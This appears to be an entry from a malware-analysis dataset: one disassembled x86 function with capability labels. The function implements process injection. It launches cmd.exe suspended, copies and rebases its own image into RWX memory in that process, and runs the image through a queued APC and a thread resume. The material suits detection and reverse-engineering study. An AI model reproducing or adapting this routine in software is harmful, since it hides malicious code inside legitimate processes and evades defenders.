Function at 0x41b990
Capabilities:
Access pe header
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Inject apc
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
mov eax, dword [0x465074]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
push 0x46670a
call fcn.0042fb63
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x224], eax
mov ecx, dword [ebp - 0x224]
push ecx
call sub.ntdll.dll_RtlImageNtHeader
mov dword [ebp - 0x214], eax
mov edx, dword [ebp - 0x214]
mov eax, dword [edx + 0x50]
mov dword [ebp - 0x21c], eax
push 0x44
push 0
lea ecx, [ebp - 0x290]
push ecx
call fcn.0042d590
add esp, 0xc
push 0x10
push 0
lea edx, [ebp - 0x238]
push edx
call fcn.0042d590
add esp, 0xc
mov ax, word [0x450530]
mov word [ebp - 0x204], ax
push 0x1fe
push 0
lea ecx, [ebp - 0x202]
push ecx
call fcn.0042d590
add esp, 0xc
lea edx, [ebp - 0x204]
push edx
push 0
push 0
push 0x25
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.cmd.exe
lea eax, [ebp - 0x204]
push eax
call fcn.0042faf2
add esp, 8
lea ecx, [ebp - 0x238]
push ecx
lea edx, [ebp - 0x290]
push edx
push 0
push 0
push 0x8000004
push 0
push 0
push 0
lea eax, [ebp - 0x204]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x41ba8c
xor eax, eax
jmp 0x41bcf5
push 0x40
push 0x3000
mov ecx, dword [ebp - 0x21c]
push ecx
push 0
mov edx, dword [ebp - 0x238]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0
jne 0x41bacd
push 0
mov eax, dword [ebp - 0x238]
push eax
call sub.ntdll.dll_NtTerminateProcess
xor eax, eax
jmp 0x41bcf5
push 0x40
push 0x3000
mov ecx, dword [ebp - 0x21c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x210], eax
mov edx, dword [ebp - 0x21c]
push edx
mov eax, dword [ebp - 0x224]
push eax
mov ecx, dword [ebp - 0x210]
push ecx
call fcn.0042ca90
add esp, 0xc
mov edx, 8
imul eax, edx, 5
mov ecx, dword [ebp - 0x214]
lea edx, [ecx + eax + 0x78]
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp - 0x23c]
mov ecx, dword [ebp - 0x210]
add ecx, dword [eax]
mov dword [ebp - 0x208], ecx
mov edx, dword [ebp - 0x214]
mov eax, dword [ebp - 0x220]
sub eax, dword [edx + 0x34]
mov dword [ebp - 0x248], eax
mov ecx, dword [ebp - 0x214]
mov edx, dword [ebp - 0x224]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0x244], edx
mov eax, dword [ebp - 0x208]
cmp dword [eax], 0
je 0x41bc51
mov ecx, dword [ebp - 0x208]
cmp dword [ecx + 4], 8
jb 0x41bc37
mov edx, dword [ebp - 0x208]
mov eax, dword [edx + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x240], eax
mov ecx, dword [ebp - 0x208]
add ecx, 8
mov dword [ebp - 0x228], ecx
mov dword [ebp - 0x20c], 0
jmp 0x41bbb9
mov edx, dword [ebp - 0x20c]
add edx, 1
mov dword [ebp - 0x20c], edx
mov eax, dword [ebp - 0x20c]
cmp eax, dword [ebp - 0x240]
jae 0x41bc37
mov ecx, dword [ebp - 0x20c]
mov edx, dword [ebp - 0x228]
movzx eax, word [edx + ecx*2]
test eax, eax
jle 0x41bc32
mov ecx, dword [ebp - 0x20c]
mov edx, dword [ebp - 0x228]
movzx eax, word [edx + ecx*2]
and eax, 0xfff
mov ecx, dword [ebp - 0x208]
mov edx, dword [ecx]
add edx, eax
add edx, dword [ebp - 0x210]
mov dword [ebp - 0x218], edx
mov eax, dword [ebp - 0x218]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x244]
mov edx, dword [ebp - 0x218]
mov dword [edx], ecx
mov eax, dword [ebp - 0x218]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x248]
mov edx, dword [ebp - 0x218]
mov dword [edx], ecx
jmp 0x41bbaa
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x208]
add ecx, dword [eax + 4]
mov dword [ebp - 0x208], ecx
jmp 0x41bb5c
push 0
mov edx, dword [ebp - 0x21c]
push edx
mov eax, dword [ebp - 0x210]
push eax
mov ecx, dword [ebp - 0x220]
push ecx
mov edx, dword [ebp - 0x238]
push edx
call sub.ntdll.dll_NtWriteVirtualMemory
test eax, eax
jge 0x41bc8a
push 0
mov eax, dword [ebp - 0x238]
push eax
call sub.ntdll.dll_NtTerminateProcess
xor eax, eax
jmp 0x41bcf5
mov ecx, dword [ebp - 0x220]
add ecx, 0x41dcf0
sub ecx, dword [ebp - 0x224]
mov dword [ebp - 0x24c], ecx
push 0
mov edx, dword [ebp - 0x234]
push edx
mov eax, dword [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
jne 0x41bcce
push 0
mov ecx, dword [ebp - 0x238]
push ecx
call sub.ntdll.dll_NtTerminateProcess
xor eax, eax
jmp 0x41bcf5
push 0
mov edx, dword [ebp - 0x234]
push edx
call sub.ntdll.dll_NtResumeThread
push 0x8000
push 0
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042a2fe
mov esp, ebp
pop ebp
ret